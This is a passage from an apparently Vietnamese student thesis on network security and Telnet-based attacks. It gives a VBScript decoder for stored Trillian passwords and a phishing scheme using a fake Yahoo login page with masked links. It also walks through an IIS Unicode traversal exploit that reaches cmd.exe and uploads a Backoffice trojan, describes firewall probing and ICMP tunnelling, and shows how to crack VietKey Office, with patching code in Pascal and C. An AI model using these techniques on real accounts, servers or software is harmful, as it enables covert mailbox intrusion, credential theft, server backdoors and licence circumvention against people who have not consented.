(Email) ngày càng được sử dụng một cách rộng rãi trên mạng Internet do nhu cầu trao đổi, liên lạc thông tin của cá nhân, tổ chức. Để có thể trao đổi thông tin trên mạng một cách nhanh chóng, thuận tiện mỗi cá nhân, tổ chức đều đăng ký một hộp thư điện tử cho riêng mình. Trong một số trường hợp cụ thể, để nắm được những thông tin bí mật của cá nhân, tổ chức cần thiết phải xâm nhập bí mật vảo hộp thư điện tử của các cá nhân, tổ chức đó. Để thực hiện được điều này phải lấy được Password của các hộp thư điện tử cần thu thập thông tin. Đối với lực lượng trinh sát kỹ thuật, trong những trường hợp cần thu thập thông tin một cách bí mật về đối tượng thì đây là một trong những biện pháp mang lại hiệu quả cao. 3.1.2.5.2 Các phương án thực hiện Phương án 1: Password của các User thường để trong thư mục: C:\Program files\Trillian\*User*\ - 60 - Khi sử dụng chương trình trên ta có thể lấy được file chứa password của User mà ta cần lấy password. Tuy nhiên, password này đã được mã hoá dưới dạng khác (mỗi chữ bình thường sẽ được encode cho 2 chữ số khác nhau) do đó ta cần phải giải mã mới thu được password chính xác của User. Dưới đây là chương trình giải mã File chứa password của Hotmail: --------------------- Encode Password ------------------------- Dim fso set fso = createobject("scripting.filesystemobject") const ForReading = 1 set blockfile = fso.opentextfile("blockfile.txt", ForReading) password=inputbox("Password (Encoded Trillian passwords are only 32 characters in length)") length_password = len(password) if length_password > 32 then password = mid(password,1,32) length_password = 32 password_timer = 1 all_char = blockfile.readline do until password_timer > length_password block_timer = 1 all_char_timer = 1 ablock = blockfile.readline password_chars = mid(password,password_timer,2) do if all_char_timer = 378 then msgbox("Doesn't Match") if password_chars = mid(ablock,block_timer,2) then realpassword = realpassword & mid(all_char,all_char_timer,1) : exit do block_timer = block_timer + 2 - 61 - all_char_timer = all_char_timer + 1 loop password_timer = password_timer + 2 loop ablock.close the_real_password = inputbox("", "", realpassword) Phương án 2: Chúng ta có thể gửi một Yahoo Greeting đến địa chỉ Mail mà ta cần lấy Password.Trong Yahoo Greeting ta sẽ thực hiện việc Link đến trang Relogin để User sẽ đăng nhập lại vào trang Login của Yahoo (trang này là do chúng ta tạo ra). Trong liên kết này phải áp dụng 3 kỹ thuật để che dấu đường dẫn tên miền: 1. Định dạng liên kết giả mạo Greeting.yahoo.com/xxx… 2. Trong liên kết tới My_Server, định dạng giả mạo tiếp để tránh hiển thị My_Server trên dòng trạng thái của trình duyệt: 3. Đặt tên đường dẫn đủ dài để che dấu phần địa chỉ sẽ bị che khuất trên hộp địa chỉ Address. Khi User đã đăng nhập vào trang Login thì ta sẽ phải thực hiện hai công việc: - Thứ nhất, cho phép User login vào trang Yahoo thật sự. - Thứ hai, phải tạo ra một biến để lưu Password khi User đăng nhập vào trang chủ Yahoo do chúng ta tạo ra. 3.3.2 Phát hiện WEB SERVER bằng Telnet Để xác định một Web Server ta có thể sử dụng Telnet qua cổng 80 để lấy những thông tin về Web Server đó: Telnet 80 - 62 - Đối với những trang Web giới thiệu, quảng cáo thì việc đặt quyền truy cập là không cần thiết và không có ý nghĩa. Nhưng với những trang Web có mục đích kinh doanh, chính trị hoặc hiện tại trong ngành ta có đưa một số dữ liệu quan trọng thông qua dịch vụ Web thì yếu tố bảo mật thông tin là yếu tố sống còn trong kinh doanh cũng như trong công tác của ngành. Ví dụ 1: Để kiểm tra địa chỉ: www.tnh.com.vn ta thực hiện lệnh Telnet www.tnh.com.vn Kết quả như sau: HTTP/1.1 400 Bad Request Server: Microsoft-IIS/4.0 Date: Wed, 15 May 2004 06:52:31 GMT Content-Type: text/html Content-Length: 87 ErrorThe parameter is incorrect. Connection to host lost. Dòng 1: Phiên bản của Http Service : HTTP/1.1 (có khi là PHP/4.0). Đây là mã trạng thái Html. Dòng 2: Http Server Microsoft – IIS/4.0. Dòng 3: Ngày giờ GMT. Dòng 4: Phân loại nội dung. Dòng 5: Chiều dài các ký tự. Ví dụ 2: C:\> telnet www.astalavista.box.sk 80 GET / HTTP/1.1 - 63 - HTTP/1.1 400 Bad Request Date: Wed, 15 May 2004 06:51:37 GMT Server: Apache/1.3.19 (Unix) PHP/4.0.4pl1 Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=iso-8859-1 Từ đây, ta có thể thấy được đang chạy Apache V1.3.19 trên nền Unix cùng với PHP V4.0. Sau đây là một thí dụ về xâm nhập vào một trang Web. Theo thống kê của Microsoft thì có khoảng 13 triệu trên Internet hiện nay dùng IIS Server cũng như các sản phẩm của MS thì Version 5 và 6 của IIS Server có một lỗi rất nghiêm trọng là lỗi UNICODE(Unicode Bug). Tất nhiên là MS đã đưa ra Patch sửa lỗi nhưng trong số 13 triệu Website vẫn còn có những Website chưa được sửa lỗi. Sau khi nhận được những thông báo về Server của Website, ta sẽ thực hiện những bước sau. Bước 1: Về công cụ, bạn phải cài Perl trên máy(Có thể dùng Active Perl 522 download tại và File Unicode. Bước 2: Sau khi cài đặt xong Perl, thực hiện lệnh: Perl Unicode.pl www.Địa chỉ website.com : 80 Câu lệnh này sẽ tìm các Bug ở trên IIS, có 20 Bug UNICODE của IIS. Khi câu lệnh này Scan được Bug cần tìm ta chỉ cần đưa Bug này vào dòng lệnh: Telnet://www.Địa chỉ trang Web.com/Bug Ví dụ như đối với địa chỉ thì sau khi Scan ta thực hiện câu lệnh như sau: Telnet://www.iwss.net/cgi- bin...%c0af..%c0%af..%c0%af..c0%af%..c0%af../winnt/system 32/cmd.exe?/c+ - 64 - Như vậy là chúng ta đã vào được Server, bạn có thể thực hiện được các lệnh thông thường của DOS để làm những việc mà bạn mong muốn: mở thư mục, đổi tên thư mục, xem file, xoá file,… Bước 3: Điều quan trọng là bạn phải đưa trang Web của mình vào đó, bạn cần 3 file: cgiecoderloader.pl, upload.asp, upload.in để đưa vào thư mục C:\inetpub\wwwroot. Sau khi hoàn thành từ Browser bạn có thể Upload những gì bạn muốn(Telnet://www.địa chỉ trang WEB.com/upload.asp), ta có thể Upload 1 Trorjan Backoffice để mở cổng nào đó để sau này bạn có thể Remote Access được. 3.3.4 Một số kỹ thuật quét bức tường lửa (Firewall) 3.3.4.1 Khái niệm Firewall Song song với các giải pháp đảm bảo an ninh cho mạng máy tính như giải pháp phần cứng và giải pháp về con người thì bức tường lửa là một trong những giải pháp phần mềm giải quyết vấn đề khá hiệu quả. Trên thực tế hiện nay đây là một giải pháp phổ biến nhất, kiểm soát hiệu quả nhất các kết nối, trao đổi thông tin trên mạng. Bức tường lửa có thể bao gồm một máy tính hoặc thiết bị phần cứng chuyên dụng, có nhiệm vụ kiểm soát các kết nối mà quá trình trao đổi thông tin giữa hệ thống mạng cần bảo vệ (mạng bên trong) với một mạng được coi là không an toàn (mạng bên ngoài- thường là Internet hoặc là mạng được coi là không an toàn về bảo mật). Bức tường lửa cũng có thể là một hệ thống các thiết bị, được kết nối thành mạng trung gian giữa hai mạng. Tuy nhiên, nhiệm vụ của hệ thống này vẫn không thay đổi, đó là thực hiện các nhiệm vụ kiểm soát truy nhập thông tin giữa mạng bên trong và mạng bên ngoài. Khi đó không một người sử dụng nào có thể tải trực tiếp về các thông tin, mà đầu tiên họ phải tải về bức tường lửa rồi từ đó tải về máy trạm. Một bức tường lửa không chỉ đảm bảo sự an - 65 - toàn cho các hoạt động bình thường của hệ thống mạng, mà nó còn đóng một vai trò quan trọng như một giải pháp quản lý đáng tin cậy. Phân loại bức tường lửa: - Bức tường lửa lọc gói tin (Filtering Firewall): được gọi là bức tường lửa mức mạng. Các bức tường lửa loại này làm việc ở mức mạng. Dữ liệu chỉ được phép rời hệ thống nếu như các luật của bức tường lửa cho phép. Bức tường lửa thực hiện việc kiểm tra ở mức gói tin của giao thức mạng để kiểm soát các lưu thông qua chúng. Các quyết định của nó dựa trên các thông tin thu được trong phần đầu (header) của mỗi gói tin như: số hiệu cổng dịch vụ, địa chỉ nguồn, địa chỉ đích, loại dịch vụ,… - Máy chủ ủy quyền(Proxy Server): Bức tường lửa loại này có nhiệm vụ tạo và kiểm soát các kết nối cho người sử dụng. Nó bao gồm hai loại cơ bản như sau: + Ứng dụng uỷ quyền(Application Proxy): là tường lửa mức ứng dụng. Các tường lửa mức ứng dụng chạy các dịch vụ uỷ quyền, do đó các lưu thông hướng ngoại như có nguồn gốc từ bức tường lửa hơn là từ các trạm nội bộ. Bởi vì các bức tường lửa này quản lý tất cả các kết nối nên chúng có thể thực hiện việc ghi nhật ký hệ thống và kiểm tra các lưu thông truyền qua chúng. + SOCKS uỷ quyền: Một máy chủ SOCKS giống như một SWITCH chuyển mạch cũ. Nố đơn giản kiểm soát các kết nối hệ thống bên trong và bên ngoài. Giống như FireWall lọc, chúng không cung cấp khả năng xác thực người sử dụng. Tuy nhiên chúng cũng có thể ghi nhật ký các kết nối người sử dụng. 3.3.4.2 Một số kỹ thuật quét tường lửa 3.3.4.2.1 Kỹ thuật rà tuyến đường - 66 - Một phương pháp để tìm các bức tường lửa trên một mạng khá hiệu quả đó là dùng Traceroute. Bạn có thể dùng traceroute của UNIX hoặc tracert.exe của NT để tìm từng chặng dọc trên trên đường truyền đến đích và tiến hành suy diễn. Traceroute của Linux, thực hiện rà đường bằng cách gửi các gói tin ICMP, trái với kỹ thuật gói tin UDP ngầm định. [ sm@atsunami sm] $ traceroute - I www.yourcompany.com traceroute to www.yourcompany.com ( 172.17.100.2 ) , 30 hops max, 140 byte packets 1 attack-gw ( 192.168.50.21) 5.801 ms 5.105 ms 5.445 ms 2 gw1.smallisp.net ( 192.168.51.l) 3 gw2.smallisp.net ( 192.168.52.2) ..... 13 hssi.bigisp.net ( 10.55.201.2 ) 14 seriall.bigisp.net ( 10.55.202.l) 15 www.yourcompany.com ( 172.29.11.2) Từ những thông số trên, có thể xác định (10.55.202.1) là bức tường lửa. Nếu các bộ định tuyến giữa bạn và các hệ phục vụ đích đáp ứng các gói tin có TTL hết hạn. Tuy nhiên, một số bộ định tuyến và bức tường lửa được xác lập để không trả về các gói tin ICMP lẫn UDP. Trong trường hợp này, sự suy diễn sẽ không được chắc chắn. Do đó, có thể thực hiện traceroute và xem chặng nào đáp ứng cuối cùng, và suy ra đây là một bức tường lửa hoặc là bộ định tuyến đầu tiên trong đường truyền bắt đầu phong tỏa tính năng tracerouting. Ví dụ, ở đây ICMP đang bị phong tỏa đến đích của nó, và không có đáp ứng nào từ các bộ định tuyến vượt quá client - gw.smallisp.net : 1 stoneface (192.168.10.33) 12.640 ms 8.367 ms 2 gw1.localisp.net (172.31.10.1) 214.582 ms 197.992 ms 3 gw2.localisp.net (172.31.10.2) 206.627 ms 38.931 ms 4 dsl.localisp.net (172.31.12.254) 47.167 ms 52.640 ms ........ 14 ATM6.LAX2.BIGISP.NET (10.50.2.1) 250.030 ms 391.716 ms - 67 - 15 ATM7.SDG.BIGISP.NET (10.50.2.5) 234.668 ms 384.525 ms 16 client-gw.smallisp.net (10.50.3.250) 244.065 ms ! X * * 17 * * * 18 * * * 3.3.4.2.2 Kỹ thuật nắm giữ biểu ngữ Kỹ thuật quét tìm các cổng bức tường lửa là hữu ích trong việc định vị các bức tường lửa, nhưng hầu hết các bức tường lửa không chờ trên các cổng ngầm định, do đó việc phát hiện phải được suy diễn. Nhiều bức tường lửa phổ dụng sẽ công bố sự hiện diện của chúng bằng cách đơn giản nối với chúng. Ví dụ, nhiều bức tường lửa sẽ công bố chức năng của chúng với vai trò một bức tường lửa, và một số sẽ quảng cáo kiểu và phiên bản của chúng. Ví dụ, khi ta nối với một máy được tin là một bức tường lửa bằng Telnet trên cổng 21 (FTP ), ta sẽ thấy được thông tin sau: Telnet 192.168.51.129 2l [UNKNOWN] [ 192.168.5l.129 ] 2 l ( ? ) open 220 Secure Gateway FTP server ready . Thông tin "Secure Gateway server FTP ready" là một dấu hiệu của bức tường lửa. Việc nối thêm với cổng 23 (telnet) sẽ xác nhận tên bức tường lửa là "Eagle." Telnet 192.168.51.129 23 [UNKNOWN] [ 192.168.5l.129 ] 23 ( ? ) open Eagle Secure Gateway . Hostname : Cuối cùng để xác định máy đó có phải là một bức tường lửa không ta có thể Telnet với cổng 25 ( SMTP ), và nó sẽ báo cho ta biết nó là gì: Telnet 192.168.51.129 25 [UNKNOWN] [ 192.168.5l.129 ] 25 ( ? ) open 421 fw3.acme.com Sorry, the firewall does not provide mail service to you. 3.3.4.2.3 Kỹ thuật quét bức tường lửa - 68 -  Sử dụng Hping Hping là công cụ làm việc bằng cách gửi các gói tin TCP đến một cổng đích và báo cáo các gói tin mà nó nhận trở lại. Hping trả về nhiều đáp ứng khác nhau tùy theo vô số điều kiện. Mỗi gói tin từng phần và toàn thể có thể cung cấp những thông tin khá rõ về các kiểu kiểm soát truy cập của bức tường lửa (Download tại địa chỉ:www.Genocide2600.com/-tattooman/scanner/hping066). Khi dùng Hping ta có thể phát hiện các gói tin mở, bị phong tỏa, thả, và loại bỏ. Trong ví dụ sau đây, hping thông báo cổng 80 đang mở và sẵn sàng nhận một kết nối. Ta biết điều này bởi nó đã nhận một gói tin với cờ SA được ấn định (một gói tin SYN/ACK). [ root@bldg_043 / opt ] # hping www.yourcompany.com -c2 - S -p80 -n HPING www.yourcomapany.com ( eth0 172.30.1.2 0 ) : S set, 40 data bytes 60 bytes from 172.30.1.20 : flags=SA seq=0 ttl=242 id= 65121 win= 64240 time=144.4 ms Như vậy, ta biết có một cống mở thông đến đích, nhưng chưa biết địa chỉ của bức tường lửa. Trong ví dụ kế tiếp, hping báo cáo nhận một ICMP unreachable type 13 từ 192.168.70.2. ICMP type 13 là một gói tin lọc bị ICMP admin ngăn cấm, thường được gửi từ một bộ định tuyến lọc gói tin. [root@bldg_043 /opt ] # hping www.yourcompany.com -c2 -S -p23 -n HPING www.yourcompany.com ( eth0 172.30.1.20 ) : S set, 40 data bytes ICMP Unreachable type 13 f rom 192.168.70.2 Như vậy sau khi thực hiện những công việc trên, ta đã xác định được 192.168.70.2 chắc chắn là bức tường lửa, và ta biết nó đang phong tỏa cổng 23 đến đích của ta.  Sử dụng cầu lửa(FireWalk) - 69 - Firewalk (Download là một công cụ nhỏ tiện dụng, như một bộ quét cổng, được dùng để phát hiện các cổng mở đằng sau một bức tường lửa. Firewalk làm việc bằng cách kiến tạo các gói tin với một IP TTL được tính toán để kết thúc một chặng vượt quá bức tường lửa. Về lý thuyết, nếu gói tin được bức tường lửa cho phép, nó sẽ được phép đi qua và sẽ kết thúc như dự kiến, suy ra một thông điệp "ICMP TTL expired in transit." Mặt khác, nếu gói tin bị ACL của bức tường lửa phong tỏa, nó sẽ bị thả, và hoặc không có đáp ứng nào sẽ được gửi trả lại, hoặc một gói tin lọc bị ICMP type 13 admin ngăn cấm sẽ được gửi. [ root@exposed / root ] # firewalk -pTCP -S135 -140 10.22.3.1 192.168.1.1 Ramping up hopcounts to binding host . . . probe : 1 TTL : 1 port 33434 : expired from [exposed.acme.com] probe : 2 TTL : 2 port 33434 : expired from [rtr.isp.net] probe : 3 TTL : 3 port 33434 : Bound scan at 3 hops [rtr.isp.net] port open port 136 : open port 137 : open port 138 : open port 139 : * port 140 : open Điểm chú ý khi sử dụng Firewalk đó là nó có thể ít hơn dự đoán, vì một số bức tường lửa sẽ phát hiện gói tin hết hạn trớc khi kiểm tra các ACL của nó và cứ thế gửi trả một gói tin ICMP TTL EXPIRED. Kết quả là, Firewalk mặc nhận tất cả các cổng đều mở. 3.3.4.2.4 Kỹ thuật phân luồng ICMP và UDP Phân luồng (tunneling) ICMP là khả năng đóng khung dữ liệu thực trong một phần đầu ICMP. Nhiều bộ định tuyến và bức tường lửa cho phép ICMP - 70 - ECHO, ICMP ECHO REPLY, và các gói tin UDP dễ dàng đi qua, và như vậy sẽ dễ bị xâm phạm trước kiểu tấn công này. Cũng như chỗ yếu Checkpoint, DNS, kiểu tấn công phân luồng ICMP và UDP dựa trên một hệ thống đã bị xâm phạm đằng sau bức tường lửa. Nếu chạy công cụ hệ phục vụ lokid trên một hệ thống đằng sau bức tường lửa cho phép ICMP ECHO và ECHO REPLY, bạn cho phép kẻ tấn công chạy công cụ hệ khách (lokid), đóng khung mọi lệnh gửi đi trong các gói tin ICMP ECHO đến hệ phục vụ (lokid). Công cụ lokid sẽ tháo các lệnh, chạy các lệnh cục bộ , và đóng khung kết xuất của các lệnh trong các gói tin ICMP ECHO REPLY trả lại cho bọn tấn công. Dùng kỹ thuật này, kẻ tấn công có thể hoàn toàn bỏ qua bức tường lửa. 3.3.5 Chương trình Crack phần mềm 3.3.5.1 Khái niệm Crack Các nhà sản xuất phần mềm để đảm bảo bản quyền cho phần mềm của mình đều yêu cầu người sử dụng phải đăng ký với nhà sản xuất thì mới sử dụng được phần mềm của họ. Mọi phần mềm đều có phần đăng ký do nhà sản xuất đưa ra để người sử dụng đăng ký. Tuy nhiên, không phải người sử dụng nào cũng có thể đăng ký với nhà sản xuất dẫn đến sự xuất hiện việc sử dụng phần mềm bất hợp pháp. Để làm được điều đó thì người sử dụng phải thực hiện Crack phần mềm. Đó chính là việc người sử dụng gỡ bỏ phần đăng ký bắt buộc của các chương trình phần mềm để có thể sử dụng phần mềm đó mà không cần mua bản quyền của nhà sản xuất. 3.3.5.2 Các bước để thực hiện Crack Khi ta đã biết chính xác một địa chỉ của một File trên một Http server ta có thể Download trực tiếp File đó bằng cách Telnet đến Server qua cổng 80. Công cụ để sử dụng chúng ta có thể Download trên mạng về, đó là: - WinDasm 32 (công cụ dùng để disassembler một file ra mã máy). - 71 - - Hview (công cụ dùng để sửa đổi mã nguồn chương trình). Phương pháp Crack dưới đây có thể áp dụng được với khoảng 40% các phần mềm. Bước 1: - Chạy chương trình cần Crack - Xác định lỗi khi đăng ký phần mềm (có thể là Incorrect Password, Wrong Serial,…) Bước 2: Dùng WinDasm 32 để mở File cần Crack, từ thông báo lỗi ở trên để xác định địa chỉ cần sửa đổi. Bước 3: Dùng Hview để sửa mã nguồn của phần mềm tại địa chỉ đã xác định ở trên. 3.3.5.3 Crack một phần mềm cụ thể Sau đây là ví dụ việc thực hiện Crack một phần mềm cụ thể, đó là phần mềm VietKey Office v2.1 . VietKey Office v2.1 là một ứng dụng cụ thể giúp chúng ta chuyển mã văn bản , kiểm tra chính tả,... được nhúng trực tiếp vào thanh công cụ của MicroSoft Word. Phiên bản 2.1 chưa đăng ký sẽ buộc người sử dụng phải đăng ký phiên bản chính thức mới được quyền sử dụng tiếp, nó sẽ hiện thông báo đăng ký "Xin liên hệ với tác giả". Chúng ta vào Hiew, chọn file vkadd.dot(thanh Menu của VKO trong MS Word), ấn F4 chọn Hex, Enten. Sau đó, ấn F7 để tìm dòng báo đăng ký “Xin liên hệ với tác giả”. Dòng thông báo đăng ký là hàm gọi MsgBox của Visual Basic nên chắc chắn trước nó sẽ là câu lệnh rẽ nhánh điều kiện để đến hộp thoại đăng ký, vì vậy ta có thể thấy địa chỉ này sẽ là : 00139F7 (ở trước MsgBox một vài Byte). Sau đó, ấn F4, rồi chọn Decoder. Ta sẽ thấy đoạn mã sau : ................ - 72 - 000139CC: 7429 je 0000139F7 ====> "Nhảy" đến hộp thoại nếu chưa đăng ký. 000139CE: 810A3030 or w,[bp],[si],03030; “00” 000139D2:A831 test al,031; “1” ................. 000139F2: 9D popf ===> Đưa hộp thoại đăng ký ra màn hình. ................. 000139F4:1420 adc al,020 000139F6: 0000 ađ [bx],[si],al 000139F8: 40 inc ax .................. Ta đã biết VKO cần điều kiện chưa đăng ký để nhảy đến hộp thoại đăng ký, ở đây chúng ta có thể sửa thành lệnh nhảy không điều kiện. Như vậy, khi bạn chưa đăng ký bản quyền vẫn có thể sử dụng chương trình này một cách bình thường. Vì vậy, ta đến địa chỉ 00139CC sửa 7429 thành EB29. Khi chạy lại VKO thì ta có thể sử dụng phần mềm này mà không cần đăng ký. 3.3.5.4 Mã nguồn chương trình Crack 3.3.5.4.1 Chương trình Crack viết bằng Turbo Pascal Uses CRT; Const off = $XXXXXXXX; Địa chỉ offset cần Crack Var ch: Char; Procedure crack(location: longint); Var F: File of Byte; X: Array[0..0] of Byte; Số Byte cần crack Begin - 73 - {$I-} Assign(F,' *.exe '); Tên File cần Crack Reset(F,1); {$I+} If ((IOResult 0)and(Filesize(F)Y))then Begin Seek(F,location); X[0]:=$XX; Số Hexa cần thay đổi của File cần Crack BlockWrite(F,X[0]); Close(F); End; End. 3.3.5.4.2 Chương trình Crack viết bằng Turbo C #include conio.h; #include stdio.h; #include stdlib.h; #define off 0xXXXXXXXX; Địa chỉ offset cần crack Crack(long int location) { Unsigned char x[2]; Số byte cần crack File *f1; f1=open("*.exe","r+"); File cần crack If (f1=NULL) Exit; Thoát nếu không có File cần tìm Else {Fseek(f1,location,Seek_set); X[0]=0xXX; Số Hexa thay đổi thứ nhất của File crack - 74 - X[1]=0xXX; Số Hexa thay đổi thứ hai của File crack Fwrite(x,1,2,f1); Fclose(f1); } return 0; } --------------------------o0o--------------------------- KẾT LUẬN - 75 - Việc nghiên cứu vấn đề an ninh an toàn cho mạng máy tính là một ván đề lớn và khó, vì vậy trong phạm vi khoá luận em chỉ đưa ra cái nhìn tổng quan và giải pháp cơ bản cho vấn đề. Nội dung chính của khoá luận là phần giới thiệu tổng quan về mạng Internet và cơ chế hoạt động của giao thức Telnet với mục đích phân tích các nguy cơ tiềm ẩn mà kẻ tấn công có thể lợi dụng để xâm nhập hệ thống mạng nói chung và qua giao thức Telnet nói riêng, đồng thời đưa ra một số chương trình ví dụ về tấn công trên mạng qua giao thức Telnet. Trên cơ sở phân tích những nguy cơ tiềm ẩn với hệ thống mạng em đã nghiên cứu một số cơ sỏ, giải pháp đảm bảo an ninh cho mạng. Song do lượng thời gian có hạn nên đã không lột tả hết được vấn đề và kết quả đạt được còn một số hạn chế. Tuy vậy, việc tiếp cận nghiên cứu vấn đề an ninh an toàn mạng máy tính đã tạo ra cho bản thân em một phương pháp nghiên cứu, một vốn kiến thức hết sức quý báu. Trong tương lai, nếu điều kiện học tập và công tác cho phép thì đó là nền tảng để em hoàn thiện hơn nữa khoá luận đem lại hiệu quả thiết thực hơn. TÀI LIỆU THAM KHẢO 1. InternetWorking với TCP/IP Tập 1,2 : Nguyễn Quốc Cường. - 76 - 2. Hệ thống và Internet : Nguyễn Xuân Phong. 3. Bảo mật trên mạng - Bí quyết và giải pháp: Tổng hợp và biên dịch VN- GUIDE. 4. Hacking Exposed Windows 2000: Network Security Secrets & Solution. Joel Scambray, Stuart McClure. 5. Hacking Exposed:Network Security Secrets & Solution Second Edition. 6. Network and Internet Security Principles and Practice. William Stallings.

Các file đính kèm theo tài liệu này:

  • pdf2362_8465.pdf